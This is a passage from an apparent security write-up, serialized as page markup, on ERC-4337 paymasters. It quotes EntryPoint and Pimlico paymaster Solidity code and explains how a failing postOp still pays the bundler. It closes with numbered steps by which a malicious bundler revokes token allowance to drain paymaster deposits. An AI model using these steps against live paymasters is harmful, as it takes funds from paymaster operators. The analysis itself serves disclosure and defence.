try",{"type":25,"tag":216,"props":110509,"children":110510},{"style":7041},[110511],{"type":31,"value":110512}," IPaymaster",{"type":25,"tag":216,"props":110514,"children":110515},{"style":6958},[110516],{"type":31,"value":110517},"(paymaster).postOp{\n",{"type":25,"tag":216,"props":110519,"children":110520},{"class":6916,"line":7630},[110521,110526,110530],{"type":25,"tag":216,"props":110522,"children":110523},{"style":6958},[110524],{"type":31,"value":110525},"                                gas",{"type":25,"tag":216,"props":110527,"children":110528},{"style":6947},[110529],{"type":31,"value":1466},{"type":25,"tag":216,"props":110531,"children":110532},{"style":6958},[110533],{"type":31,"value":110534}," mUserOp.paymasterPostOpGasLimit\n",{"type":25,"tag":216,"props":110536,"children":110537},{"class":6916,"line":7639},[110538],{"type":25,"tag":216,"props":110539,"children":110540},{"style":6958},[110541],{"type":31,"value":110542},"                            }(mode, context, actualGasCost, gasPrice)\n",{"type":25,"tag":216,"props":110544,"children":110545},{"class":6916,"line":7648},[110546,110551,110556],{"type":25,"tag":216,"props":110547,"children":110548},{"style":6921},[110549],{"type":31,"value":110550},"                        // ",{"type":25,"tag":216,"props":110552,"children":110553},{"style":6930},[110554],{"type":31,"value":110555},"solhint-disable",{"type":25,"tag":216,"props":110557,"children":110558},{"style":6921},[110559],{"type":31,"value":110560},"-next-line no-empty-blocks\n",{"type":25,"tag":216,"props":110562,"children":110563},{"class":6916,"line":7716},[110564,110569,110573],{"type":25,"tag":216,"props":110565,"children":110566},{"style":6958},[110567],{"type":31,"value":110568},"                        {} ",{"type":25,"tag":216,"props":110570,"children":110571},{"style":6967},[110572],{"type":31,"value":52374},{"type":25,"tag":216,"props":110574,"children":110575},{"style":6958},[110576],{"type":31,"value":7235},{"type":25,"tag":216,"props":110578,"children":110579},{"class":6916,"line":7724},[110580,110585,110589,110594,110598,110602,110606],{"type":25,"tag":216,"props":110581,"children":110582},{"style":7369},[110583],{"type":31,"value":110584},"                            bytes",{"type":25,"tag":216,"props":110586,"children":110587},{"style":6930},[110588],{"type":31,"value":107032},{"type":25,"tag":216,"props":110590,"children":110591},{"style":6958},[110592],{"type":31,"value":110593}," reason ",{"type":25,"tag":216,"props":110595,"children":110596},{"style":6947},[110597],{"type":31,"value":266},{"type":25,"tag":216,"props":110599,"children":110600},{"style":6958},[110601],{"type":31,"value":109803},{"type":25,"tag":216,"props":110603,"children":110604},{"style":7041},[110605],{"type":31,"value":109894},{"type":25,"tag":216,"props":110607,"children":110608},{"style":6958},[110609],{"type":31,"value":109899},{"type":25,"tag":216,"props":110611,"children":110612},{"class":6916,"line":7754},[110613,110618,110623],{"type":25,"tag":216,"props":110614,"children":110615},{"style":6967},[110616],{"type":31,"value":110617},"                            revert",{"type":25,"tag":216,"props":110619,"children":110620},{"style":7041},[110621],{"type":31,"value":110622}," PostOpReverted",{"type":25,"tag":216,"props":110624,"children":110625},{"style":6958},[110626],{"type":31,"value":110627},"(reason);\n",{"type":25,"tag":216,"props":110629,"children":110630},{"class":6916,"line":7762},[110631],{"type":25,"tag":216,"props":110632,"children":110633},{"style":6958},[110634],{"type":31,"value":74942},{"type":25,"tag":216,"props":110636,"children":110637},{"class":6916,"line":7794},[110638],{"type":25,"tag":216,"props":110639,"children":110640},{"style":6958},[110641],{"type":31,"value":75027},{"type":25,"tag":216,"props":110643,"children":110644},{"class":6916,"line":7802},[110645],{"type":25,"tag":216,"props":110646,"children":110647},{"style":6921},[110648],{"type":31,"value":110649},"                    // Calculating a penalty for unused postOp gas\n",{"type":25,"tag":216,"props":110651,"children":110652},{"class":6916,"line":7862},[110653,110657,110661],{"type":25,"tag":216,"props":110654,"children":110655},{"style":6921},[110656],{"type":31,"value":107494},{"type":25,"tag":216,"props":110658,"children":110659},{"style":6930},[110660],{"type":31,"value":70722},{"type":25,"tag":216,"props":110662,"children":110663},{"style":6921},[110664],{"type":31,"value":110665}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":25,"tag":216,"props":110667,"children":110668},{"class":6916,"line":12995},[110669,110673,110678,110682,110686,110690,110694],{"type":25,"tag":216,"props":110670,"children":110671},{"style":7369},[110672],{"type":31,"value":107429},{"type":25,"tag":216,"props":110674,"children":110675},{"style":6958},[110676],{"type":31,"value":110677}," postOpGasUsed ",{"type":25,"tag":216,"props":110679,"children":110680},{"style":6947},[110681],{"type":31,"value":266},{"type":25,"tag":216,"props":110683,"children":110684},{"style":6958},[110685],{"type":31,"value":110465},{"type":25,"tag":216,"props":110687,"children":110688},{"style":6947},[110689],{"type":31,"value":8270},{"type":25,"tag":216,"props":110691,"children":110692},{"style":6930},[110693],{"type":31,"value":109262},{"type":25,"tag":216,"props":110695,"children":110696},{"style":6958},[110697],{"type":31,"value":7627},{"type":25,"tag":216,"props":110699,"children":110700},{"class":6916,"line":13013},[110701,110706,110710,110715],{"type":25,"tag":216,"props":110702,"children":110703},{"style":6958},[110704],{"type":31,"value":110705},"                    postOpUnusedGasPenalty ",{"type":25,"tag":216,"props":110707,"children":110708},{"style":6947},[110709],{"type":31,"value":266},{"type":25,"tag":216,"props":110711,"children":110712},{"style":7041},[110713],{"type":31,"value":110714}," _getUnusedGasPenalty",{"type":25,"tag":216,"props":110716,"children":110717},{"style":6958},[110718],{"type":31,"value":110719},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":25,"tag":216,"props":110721,"children":110722},{"class":6916,"line":13058},[110723],{"type":25,"tag":216,"props":110724,"children":110725},{"style":6958},[110726],{"type":31,"value":75035},{"type":25,"tag":216,"props":110728,"children":110729},{"class":6916,"line":13164},[110730],{"type":25,"tag":216,"props":110731,"children":110732},{"style":6958},[110733],{"type":31,"value":62846},{"type":25,"tag":216,"props":110735,"children":110736},{"class":6916,"line":27449},[110737],{"type":25,"tag":216,"props":110738,"children":110739},{"style":6958},[110740],{"type":31,"value":108753},{"type":25,"tag":216,"props":110742,"children":110743},{"class":6916,"line":27484},[110744],{"type":25,"tag":216,"props":110745,"children":110746},{"style":6958},[110747],{"type":31,"value":7305},{"type":25,"tag":38,"props":110749,"children":110750},{},[110751,110753,110758,110760,110766,110768,110774,110776,110781,110783,110788,110790,110795,110797,110802,110804,110809,110811,110816],{"type":31,"value":110752},"It turns out that if the ",{"type":25,"tag":82,"props":110754,"children":110756},{"className":110755},[],[110757],{"type":31,"value":106333},{"type":31,"value":110759}," call fails, it will revert with ",{"type":25,"tag":82,"props":110761,"children":110763},{"className":110762},[],[110764],{"type":31,"value":110765},"PostOpReverted",{"type":31,"value":110767},". However, as we can see in the previous code of ",{"type":25,"tag":82,"props":110769,"children":110771},{"className":110770},[],[110772],{"type":31,"value":110773},"_executeUserOp",{"type":31,"value":110775},", even though ",{"type":25,"tag":82,"props":110777,"children":110779},{"className":110778},[],[110780],{"type":31,"value":109475},{"type":31,"value":110782}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":25,"tag":82,"props":110784,"children":110786},{"className":110785},[],[110787],{"type":31,"value":110143},{"type":31,"value":110789}," call with ",{"type":25,"tag":82,"props":110791,"children":110793},{"className":110792},[],[110794],{"type":31,"value":110151},{"type":31,"value":110796}," mode, and it won't try to call ",{"type":25,"tag":82,"props":110798,"children":110800},{"className":110799},[],[110801],{"type":31,"value":106333},{"type":31,"value":110803}," again. This means the ",{"type":25,"tag":82,"props":110805,"children":110807},{"className":110806},[],[110808],{"type":31,"value":106194},{"type":31,"value":110810}," still gets paid for submitting the failed ",{"type":25,"tag":82,"props":110812,"children":110814},{"className":110813},[],[110815],{"type":31,"value":106134},{"type":31,"value":179},{"type":25,"tag":38,"props":110818,"children":110819},{},[110820,110822,110827,110829,110834,110836,110843],{"type":31,"value":110821},"Now that we understand this behavior where ",{"type":25,"tag":82,"props":110823,"children":110825},{"className":110824},[],[110826],{"type":31,"value":106333},{"type":31,"value":110828}," is allowed to fail while the ",{"type":25,"tag":82,"props":110830,"children":110832},{"className":110831},[],[110833],{"type":31,"value":106194},{"type":31,"value":110835}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":25,"tag":162,"props":110837,"children":110840},{"href":110838,"rel":110839},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[166],[110841],{"type":31,"value":110842},"Pimlico",{"type":31,"value":179},{"type":25,"tag":206,"props":110845,"children":110847},{"className":8417,"code":110846,"language":8416,"meta":7,"style":7},"    function _postOp(\n        PostOpMode, /* mode */\n        bytes calldata _context,\n        uint256 _actualGasCost,\n        uint256 _actualUserOpFeePerGas\n    )\n        internal\n    {\n        ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n        uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n        );\n\n        uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n        uint256 costInToken =\n            getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n        uint256 absoluteCostInToken =\n            costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n        SafeTransferLib.safeTransferFrom(\n            ctx.token,\n            costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n            costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n            absoluteCostInToken\n        );\n\n        uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n        if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n            SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n        }\n\n        emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n    }\n",[110848],{"type":25,"tag":82,"props":110849,"children":110850},{"__ignoreMap":7},[110851,110866,110883,110903,110919,110931,110938,110945,110952,110983,110990,111015,111023,111030,111037,111066,111073,111089,111111,111118,111134,111184,111191,111207,111215,111248,111281,111289,111296,111303,111346,111353,111402,111428,111435,111442,111459],{"type":25,"tag":216,"props":110852,"children":110853},{"class":6916,"line":6917},[110854,110858,110862],{"type":25,"tag":216,"props":110855,"children":110856},{"style":6930},[110857],{"type":31,"value":93796},{"type":25,"tag":216,"props":110859,"children":110860},{"style":7041},[110861],{"type":31,"value":107735},{"type":25,"tag":216,"props":110863,"children":110864},{"style":6958},[110865],{"type":31,"value":7414},{"type":25,"tag":216,"props":110867,"children":110868},{"class":6916,"line":6763},[110869,110874,110878],{"type":25,"tag":216,"props":110870,"children":110871},{"style":6930},[110872],{"type":31,"value":110873},"        PostOpMode",{"type":25,"tag":216,"props":110875,"children":110876},{"style":6958},[110877],{"type":31,"value":7020},{"type":25,"tag":216,"props":110879,"children":110880},{"style":6921},[110881],{"type":31,"value":110882},"/* mode */\n",{"type":25,"tag":216,"props":110884,"children":110885},{"class":6916,"line":6772},[110886,110890,110894,110899],{"type":25,"tag":216,"props":110887,"children":110888},{"style":7369},[110889],{"type":31,"value":109651},{"type":25,"tag":216,"props":110891,"children":110892},{"style":6930},[110893],{"type":31,"value":106964},{"type":25,"tag":216,"props":110895,"children":110896},{"style":6941},[110897],{"type":31,"value":110898}," _context",{"type":25,"tag":216,"props":110900,"children":110901},{"style":6958},[110902],{"type":31,"value":7459},{"type":25,"tag":216,"props":110904,"children":110905},{"class":6916,"line":6999},[110906,110910,110915],{"type":25,"tag":216,"props":110907,"children":110908},{"style":7369},[110909],{"type":31,"value":93974},{"type":25,"tag":216,"props":110911,"children":110912},{"style":6941},[110913],{"type":31,"value":110914}," _actualGasCost",{"type":25,"tag":216,"props":110916,"children":110917},{"style":6958},[110918],{"type":31,"value":7459},{"type":25,"tag":216,"props":110920,"children":110921},{"class":6916,"line":7104},[110922,110926],{"type":25,"tag":216,"props":110923,"children":110924},{"style":7369},[110925],{"type":31,"value":93974},{"type":25,"tag":216,"props":110927,"children":110928},{"style":6941},[110929],{"type":31,"value":110930}," _actualUserOpFeePerGas\n",{"type":25,"tag":216,"props":110932,"children":110933},{"class":6916,"line":7210},[110934],{"type":25,"tag":216,"props":110935,"children":110936},{"style":6958},[110937],{"type":31,"value":27870},{"type":25,"tag":216,"props":110939,"children":110940},{"class":6916,"line":7238},[110941],{"type":25,"tag":216,"props":110942,"children":110943},{"style":6930},[110944],{"type":31,"value":107003},{"type":25,"tag":216,"props":110946,"children":110947},{"class":6916,"line":7251},[110948],{"type":25,"tag":216,"props":110949,"children":110950},{"style":6958},[110951],{"type":31,"value":33141},{"type":25,"tag":216,"props":110953,"children":110954},{"class":6916,"line":7269},[110955,110960,110964,110969,110973,110978],{"type":25,"tag":216,"props":110956,"children":110957},{"style":6958},[110958],{"type":31,"value":110959},"        ERC20PostOpContext ",{"type":25,"tag":216,"props":110961,"children":110962},{"style":6930},[110963],{"type":31,"value":79938},{"type":25,"tag":216,"props":110965,"children":110966},{"style":6958},[110967],{"type":31,"value":110968}," ctx ",{"type":25,"tag":216,"props":110970,"children":110971},{"style":6947},[110972],{"type":31,"value":266},{"type":25,"tag":216,"props":110974,"children":110975},{"style":7041},[110976],{"type":31,"value":110977}," _parsePostOpContext",{"type":25,"tag":216,"props":110979,"children":110980},{"style":6958},[110981],{"type":31,"value":110982},"(_context);\n",{"type":25,"tag":216,"props":110984,"children":110985},{"class":6916,"line":7290},[110986],{"type":25,"tag":216,"props":110987,"children":110988},{"emptyLinePlaceholder":16},[110989],{"type":31,"value":7636},{"type":25,"tag":216,"props":110991,"children":110992},{"class":6916,"line":7299},[110993,110997,111002,111006,111011],{"type":25,"tag":216,"props":110994,"children":110995},{"style":7369},[110996],{"type":31,"value":93974},{"type":25,"tag":216,"props":110998,"children":110999},{"style":6958},[111000],{"type":31,"value":111001}," expectedPenaltyGasCost ",{"type":25,"tag":216,"props":111003,"children":111004},{"style":6947},[111005],{"type":31,"value":266},{"type":25,"tag":216,"props":111007,"children":111008},{"style":7041},[111009],{"type":31,"value":111010}," _expectedPenaltyGasCost",{"type":25,"tag":216,"props":111012,"children":111013},{"style":6958},[111014],{"type":31,"value":7414},{"type":25,"tag":216,"props":111016,"children":111017},{"class":6916,"line":7551},[111018],{"type":25,"tag":216,"props":111019,"children":111020},{"style":6958},[111021],{"type":31,"value":111022},"            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":25,"tag":216,"props":111024,"children":111025},{"class":6916,"line":7568},[111026],{"type":25,"tag":216,"props":111027,"children":111028},{"style":6958},[111029],{"type":31,"value":11689},{"type":25,"tag":216,"props":111031,"children":111032},{"class":6916,"line":7585},[111033],{"type":25,"tag":216,"props":111034,"children":111035},{"emptyLinePlaceholder":16},[111036],{"type":31,"value":7636},{"type":25,"tag":216,"props":111038,"children":111039},{"class":6916,"line":7598},[111040,111044,111048,111052,111057,111061],{"type":25,"tag":216,"props":111041,"children":111042},{"style":7369},[111043],{"type":31,"value":93974},{"type":25,"tag":216,"props":111045,"children":111046},{"style":6958},[111047],{"type":31,"value":108059},{"type":25,"tag":216,"props":111049,"children":111050},{"style":6947},[111051],{"type":31,"value":266},{"type":25,"tag":216,"props":111053,"children":111054},{"style":6958},[111055],{"type":31,"value":111056}," _actualGasCost ",{"type":25,"tag":216,"props":111058,"children":111059},{"style":6947},[111060],{"type":31,"value":3533},{"type":25,"tag":216,"props":111062,"children":111063},{"style":6958},[111064],{"type":31,"value":111065}," expectedPenaltyGasCost;\n",{"type":25,"tag":216,"props":111067,"children":111068},{"class":6916,"line":7607},[111069],{"type":25,"tag":216,"props":111070,"children":111071},{"emptyLinePlaceholder":16},[111072],{"type":31,"value":7636},{"type":25,"tag":216,"props":111074,"children":111075},{"class":6916,"line":7630},[111076,111080,111085],{"type":25,"tag":216,"props":111077,"children":111078},{"style":7369},[111079],{"type":31,"value":93974},{"type":25,"tag":216,"props":111081,"children":111082},{"style":6958},[111083],{"type":31,"value":111084}," costInToken ",{"type":25,"tag":216,"props":111086,"children":111087},{"style":6947},[111088],{"type":31,"value":18644},{"type":25,"tag":216,"props":111090,"children":111091},{"class":6916,"line":7639},[111092,111097,111102,111106],{"type":25,"tag":216,"props":111093,"children":111094},{"style":7041},[111095],{"type":31,"value":111096},"            getCostInToken",{"type":25,"tag":216,"props":111098,"children":111099},{"style":6958},[111100],{"type":31,"value":111101},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":25,"tag":216,"props":111103,"children":111104},{"style":6947},[111105],{"type":31,"value":3533},{"type":25,"tag":216,"props":111107,"children":111108},{"style":6958},[111109],{"type":31,"value":111110}," ctx.constantFee;\n",{"type":25,"tag":216,"props":111112,"children":111113},{"class":6916,"line":7648},[111114],{"type":25,"tag":216,"props":111115,"children":111116},{"emptyLinePlaceholder":16},[111117],{"type":31,"value":7636},{"type":25,"tag":216,"props":111119,"children":111120},{"class":6916,"line":7716},[111121,111125,111130],{"type":25,"tag":216,"props":111122,"children":111123},{"style":7369},[111124],{"type":31,"value":93974},{"type":25,"tag":216,"props":111126,"children":111127},{"style":6958},[111128],{"type":31,"value":111129}," absoluteCostInToken ",{"type":25,"tag":216,"props":111131,"children":111132},{"style":6947},[111133],{"type":31,"value":18644},{"type":25,"tag":216,"props":111135,"children":111136},{"class":6916,"line":7724},[111137,111142,111146,111151,111155,111159,111163,111167,111171,111175,111179],{"type":25,"tag":216,"props":111138,"children":111139},{"style":6958},[111140],{"type":31,"value":111141},"            costInToken ",{"type":25,"tag":216,"props":111143,"children":111144},{"style":6947},[111145],{"type":31,"value":5896},{"type":25,"tag":216,"props":111147,"children":111148},{"style":6958},[111149],{"type":31,"value":111150}," ctx.preFundCharged ",{"type":25,"tag":216,"props":111152,"children":111153},{"style":6947},[111154],{"type":31,"value":605},{"type":25,"tag":216,"props":111156,"children":111157},{"style":6958},[111158],{"type":31,"value":111084},{"type":25,"tag":216,"props":111160,"children":111161},{"style":6947},[111162],{"type":31,"value":8270},{"type":25,"tag":216,"props":111164,"children":111165},{"style":6958},[111166],{"type":31,"value":111150},{"type":25,"tag":216,"props":111168,"children":111169},{"style":6947},[111170],{"type":31,"value":1466},{"type":25,"tag":216,"props":111172,"children":111173},{"style":6958},[111174],{"type":31,"value":111150},{"type":25,"tag":216,"props":111176,"children":111177},{"style":6947},[111178],{"type":31,"value":8270},{"type":25,"tag":216,"props":111180,"children":111181},{"style":6958},[111182],{"type":31,"value":111183}," costInToken;\n",{"type":25,"tag":216,"props":111185,"children":111186},{"class":6916,"line":7754},[111187],{"type":25,"tag":216,"props":111188,"children":111189},{"emptyLinePlaceholder":16},[111190],{"type":31,"value":7636},{"type":25,"tag":216,"props":111192,"children":111193},{"class":6916,"line":7762},[111194,111199,111203],{"type":25,"tag":216,"props":111195,"children":111196},{"style":6958},[111197],{"type":31,"value":111198},"        SafeTransferLib.",{"type":25,"tag":216,"props":111200,"children":111201},{"style":7041},[111202],{"type":31,"value":107590},{"type":25,"tag":216,"props":111204,"children":111205},{"style":6958},[111206],{"type":31,"value":7414},{"type":25,"tag":216,"props":111208,"children":111209},{"class":6916,"line":7794},[111210],{"type":25,"tag":216,"props":111211,"children":111212},{"style":6958},[111213],{"type":31,"value":111214},"            ctx.token,\n",{"type":25,"tag":216,"props":111216,"children":111217},{"class":6916,"line":7802},[111218,111222,111226,111230,111234,111239,111243],{"type":25,"tag":216,"props":111219,"children":111220},{"style":6958},[111221],{"type":31,"value":111141},{"type":25,"tag":216,"props":111223,"children":111224},{"style":6947},[111225],{"type":31,"value":5896},{"type":25,"tag":216,"props":111227,"children":111228},{"style":6958},[111229],{"type":31,"value":111150},{"type":25,"tag":216,"props":111231,"children":111232},{"style":6947},[111233],{"type":31,"value":605},{"type":25,"tag":216,"props":111235,"children":111236},{"style":6958},[111237],{"type":31,"value":111238}," ctx.sender ",{"type":25,"tag":216,"props":111240,"children":111241},{"style":6947},[111242],{"type":31,"value":1466},{"type":25,"tag":216,"props":111244,"children":111245},{"style":6958},[111246],{"type":31,"value":111247}," ctx.treasury,\n",{"type":25,"tag":216,"props":111249,"children":111250},{"class":6916,"line":7862},[111251,111255,111259,111263,111267,111272,111276],{"type":25,"tag":216,"props":111252,"children":111253},{"style":6958},[111254],{"type":31,"value":111141},{"type":25,"tag":216,"props":111256,"children":111257},{"style":6947},[111258],{"type":31,"value":5896},{"type":25,"tag":216,"props":111260,"children":111261},{"style":6958},[111262],{"type":31,"value":111150},{"type":25,"tag":216,"props":111264,"children":111265},{"style":6947},[111266],{"type":31,"value":605},{"type":25,"tag":216,"props":111268,"children":111269},{"style":6958},[111270],{"type":31,"value":111271}," ctx.treasury ",{"type":25,"tag":216,"props":111273,"children":111274},{"style":6947},[111275],{"type":31,"value":1466},{"type":25,"tag":216,"props":111277,"children":111278},{"style":6958},[111279],{"type":31,"value":111280}," ctx.sender,\n",{"type":25,"tag":216,"props":111282,"children":111283},{"class":6916,"line":12995},[111284],{"type":25,"tag":216,"props":111285,"children":111286},{"style":6958},[111287],{"type":31,"value":111288},"            absoluteCostInToken\n",{"type":25,"tag":216,"props":111290,"children":111291},{"class":6916,"line":13013},[111292],{"type":25,"tag":216,"props":111293,"children":111294},{"style":6958},[111295],{"type":31,"value":11689},{"type":25,"tag":216,"props":111297,"children":111298},{"class":6916,"line":13058},[111299],{"type":25,"tag":216,"props":111300,"children":111301},{"emptyLinePlaceholder":16},[111302],{"type":31,"value":7636},{"type":25,"tag":216,"props":111304,"children":111305},{"class":6916,"line":13164},[111306,111310,111315,111319,111324,111328,111333,111337,111342],{"type":25,"tag":216,"props":111307,"children":111308},{"style":7369},[111309],{"type":31,"value":93974},{"type":25,"tag":216,"props":111311,"children":111312},{"style":6958},[111313],{"type":31,"value":111314}," preFundInToken ",{"type":25,"tag":216,"props":111316,"children":111317},{"style":6947},[111318],{"type":31,"value":266},{"type":25,"tag":216,"props":111320,"children":111321},{"style":6958},[111322],{"type":31,"value":111323}," (ctx.preFund ",{"type":25,"tag":216,"props":111325,"children":111326},{"style":6947},[111327],{"type":31,"value":8513},{"type":25,"tag":216,"props":111329,"children":111330},{"style":6958},[111331],{"type":31,"value":111332}," ctx.exchangeRate) ",{"type":25,"tag":216,"props":111334,"children":111335},{"style":6947},[111336],{"type":31,"value":5749},{"type":25,"tag":216,"props":111338,"children":111339},{"style":6983},[111340],{"type":31,"value":111341}," 1e18",{"type":25,"tag":216,"props":111343,"children":111344},{"style":6958},[111345],{"type":31,"value":6961},{"type":25,"tag":216,"props":111347,"children":111348},{"class":6916,"line":27449},[111349],{"type":25,"tag":216,"props":111350,"children":111351},{"emptyLinePlaceholder":16},[111352],{"type":31,"value":7636},{"type":25,"tag":216,"props":111354,"children":111355},{"class":6916,"line":27484},[111356,111360,111365,111369,111373,111377,111381,111385,111389,111393,111397],{"type":25,"tag":216,"props":111357,"children":111358},{"style":6967},[111359],{"type":31,"value":7216},{"type":25,"tag":216,"props":111361,"children":111362},{"style":6958},[111363],{"type":31,"value":111364}," (ctx.recipient ",{"type":25,"tag":216,"props":111366,"children":111367},{"style":6947},[111368],{"type":31,"value":19640},{"type":25,"tag":216,"props":111370,"children":111371},{"style":7369},[111372],{"type":31,"value":10195},{"type":25,"tag":216,"props":111374,"children":111375},{"style":6958},[111376],{"type":31,"value":1844},{"type":25,"tag":216,"props":111378,"children":111379},{"style":6983},[111380],{"type":31,"value":1876},{"type":25,"tag":216,"props":111382,"children":111383},{"style":6958},[111384],{"type":31,"value":7030},{"type":25,"tag":216,"props":111386,"children":111387},{"style":6947},[111388],{"type":31,"value":77161},{"type":25,"tag":216,"props":111390,"children":111391},{"style":6958},[111392],{"type":31,"value":111314},{"type":25,"tag":216,"props":111394,"children":111395},{"style":6947},[111396],{"type":31,"value":5896},{"type":25,"tag":216,"props":111398,"children":111399},{"style":6958},[111400],{"type":31,"value":111401}," costInToken) {\n",{"type":25,"tag":216,"props":111403,"children":111404},{"class":6916,"line":27492},[111405,111410,111414,111419,111423],{"type":25,"tag":216,"props":111406,"children":111407},{"style":6958},[111408],{"type":31,"value":111409},"            SafeTransferLib.",{"type":25,"tag":216,"props":111411,"children":111412},{"style":7041},[111413],{"type":31,"value":107590},{"type":25,"tag":216,"props":111415,"children":111416},{"style":6958},[111417],{"type":31,"value":111418},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":25,"tag":216,"props":111420,"children":111421},{"style":6947},[111422],{"type":31,"value":8270},{"type":25,"tag":216,"props":111424,"children":111425},{"style":6958},[111426],{"type":31,"value":111427}," costInToken);\n",{"type":25,"tag":216,"props":111429,"children":111430},{"class":6916,"line":27500},[111431],{"type":25,"tag":216,"props":111432,"children":111433},{"style":6958},[111434],{"type":31,"value":7296},{"type":25,"tag":216,"props":111436,"children":111437},{"class":6916,"line":27509},[111438],{"type":25,"tag":216,"props":111439,"children":111440},{"emptyLinePlaceholder":16},[111441],{"type":31,"value":7636},{"type":25,"tag":216,"props":111443,"children":111444},{"class":6916,"line":27551},[111445,111450,111454],{"type":25,"tag":216,"props":111446,"children":111447},{"style":6967},[111448],{"type":31,"value":111449},"        emit",{"type":25,"tag":216,"props":111451,"children":111452},{"style":7041},[111453],{"type":31,"value":108324},{"type":25,"tag":216,"props":111455,"children":111456},{"style":6958},[111457],{"type":31,"value":111458},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":25,"tag":216,"props":111460,"children":111461},{"class":6916,"line":27584},[111462],{"type":25,"tag":216,"props":111463,"children":111464},{"style":6958},[111465],{"type":31,"value":7305},{"type":25,"tag":38,"props":111467,"children":111468},{},[111469,111471,111476,111478,111484,111486,111492,111494,111499,111501,111506],{"type":31,"value":111470},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":25,"tag":82,"props":111472,"children":111474},{"className":111473},[],[111475],{"type":31,"value":107590},{"type":31,"value":111477},". Note that ",{"type":25,"tag":82,"props":111479,"children":111481},{"className":111480},[],[111482],{"type":31,"value":111483},"preFundCharged",{"type":31,"value":111485}," can be zero, as users can opt out of any ",{"type":25,"tag":82,"props":111487,"children":111489},{"className":111488},[],[111490],{"type":31,"value":111491},"preFund",{"type":31,"value":111493}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":25,"tag":82,"props":111495,"children":111497},{"className":111496},[],[111498],{"type":31,"value":108391},{"type":31,"value":111500}," call inside ",{"type":25,"tag":82,"props":111502,"children":111504},{"className":111503},[],[111505],{"type":31,"value":109475},{"type":31,"value":111507}," will revert and the paymaster won't be able to collect payment from the user.",{"type":25,"tag":38,"props":111509,"children":111510},{},[111511,111513,111518,111520,111526,111528,111534],{"type":31,"value":111512},"However, even when ",{"type":25,"tag":82,"props":111514,"children":111516},{"className":111515},[],[111517],{"type":31,"value":108391},{"type":31,"value":111519}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":25,"tag":82,"props":111521,"children":111523},{"className":111522},[],[111524],{"type":31,"value":111525},"requiredPrefund",{"type":31,"value":111527}," was taken from the paymaster's ",{"type":25,"tag":162,"props":111529,"children":111532},{"href":111530,"rel":111531},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[166],[111533],{"type":31,"value":65925},{"type":31,"value":179},{"type":25,"tag":38,"props":111536,"children":111537},{},[111538,111540,111545],{"type":31,"value":111539},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":25,"tag":82,"props":111541,"children":111543},{"className":111542},[],[111544],{"type":31,"value":108391},{"type":31,"value":111546}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":25,"tag":6705,"props":111548,"children":111549},{},[111550,111568,111587,111598,111603],{"type":25,"tag":2037,"props":111551,"children":111552},{},[111553,111555,111560,111562],{"type":31,"value":111554},"The bundler creates a ",{"type":25,"tag":82,"props":111556,"children":111558},{"className":111557},[],[111559],{"type":31,"value":106134},{"type":31,"value":111561}," with an intentionally high ",{"type":25,"tag":82,"props":111563,"children":111565},{"className":111564},[],[111566],{"type":31,"value":111567},"gasPrice",{"type":25,"tag":2037,"props":111569,"children":111570},{},[111571,111573,111578,111580,111585],{"type":31,"value":111572},"The bundler ensures the ",{"type":25,"tag":82,"props":111574,"children":111576},{"className":111575},[],[111577],{"type":31,"value":108391},{"type":31,"value":111579}," call will fail by revoking the paymaster's token allowance before ",{"type":25,"tag":82,"props":111581,"children":111583},{"className":111582},[],[111584],{"type":31,"value":108391},{"type":31,"value":111586}," executes",{"type":25,"tag":2037,"props":111588,"children":111589},{},[111590,111591,111596],{"type":31,"value":67317},{"type":25,"tag":82,"props":111592,"children":111594},{"className":111593},[],[111595],{"type":31,"value":108391},{"type":31,"value":111597}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":25,"tag":2037,"props":111599,"children":111600},{},[111601],{"type":31,"value":111602},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":25,"tag":2037,"props":111604,"children":111605},{},[111606],{"type":31,"value":111607},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":25,"tag":38,"props":111609,"children":111610},{},[111611,111613,111618,111620,111625],{"type":31,"value":111612},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":25,"tag":82,"props":111614,"children":111616},{"className":111615},[],[111617],{"type":31,"value":106163},{"type":31,"value":111619}," designed to fail during 